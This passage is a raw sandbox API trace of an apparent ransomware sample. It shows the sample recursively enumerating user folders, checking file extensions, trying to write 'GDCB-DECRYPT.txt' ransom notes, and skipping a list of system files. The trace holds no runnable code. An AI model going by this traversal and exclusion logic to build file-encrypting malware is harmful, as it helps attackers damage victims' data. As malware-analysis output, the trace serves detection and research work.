[0170.073] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.076] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.076] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.076] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.076] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.076] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 147 [0170.076] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.076] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.077] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.077] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.077] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.077] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 149 [0170.077] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.077] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.077] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.077] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.077] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.077] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned 141 [0170.077] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0170.077] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.077] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.077] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 150 [0170.077] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.078] GetLastError () returned 0x50 [0170.078] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.078] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 133 [0170.078] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.079] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4a18 [0170.079] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.079] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.079] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.079] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.079] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.079] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.079] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.079] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.079] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.079] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 147 [0170.079] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 147 [0170.079] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.079] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.079] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.079] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.079] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.079] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.079] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 149 [0170.079] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 149 [0170.079] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 149 [0170.080] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 149 [0170.080] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.080] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.080] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.080] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.080] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.080] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.080] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.080] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.080] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.080] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.080] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.080] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.080] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.080] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.080] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\" [0170.080] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.080] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.080] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.080] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.080] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.080] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.080] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 142 [0170.080] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.080] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4e98 [0170.081] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.081] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.081] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.081] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.081] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.081] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.081] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.081] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.081] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 158 [0170.081] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.081] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.081] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.081] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.081] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.081] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 152 [0170.081] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.081] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.081] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.081] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.081] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.081] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 151 [0170.081] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.081] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0170.081] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.081] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.081] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 159 [0170.081] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.082] GetLastError () returned 0x50 [0170.082] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.082] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 142 [0170.083] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.083] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4dd8 [0170.083] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.083] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.083] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.083] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.083] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.083] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.083] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.083] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.083] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.083] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 158 [0170.083] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 158 [0170.083] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 158 [0170.083] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 158 [0170.083] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.083] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.083] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.083] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.083] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.083] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.083] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.083] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.083] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.083] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.083] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.083] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.083] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.083] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.084] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.084] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 152 [0170.084] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 152 [0170.084] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.084] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.084] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.084] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.084] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.084] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.084] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 151 [0170.084] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 151 [0170.084] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.084] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0170.084] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.084] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0170.084] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0170.085] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.085] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.085] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.085] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.085] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.085] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 143 [0170.085] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 143 [0170.085] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 143 [0170.085] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 143 [0170.085] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.085] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.085] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.085] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.085] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.085] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.085] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", 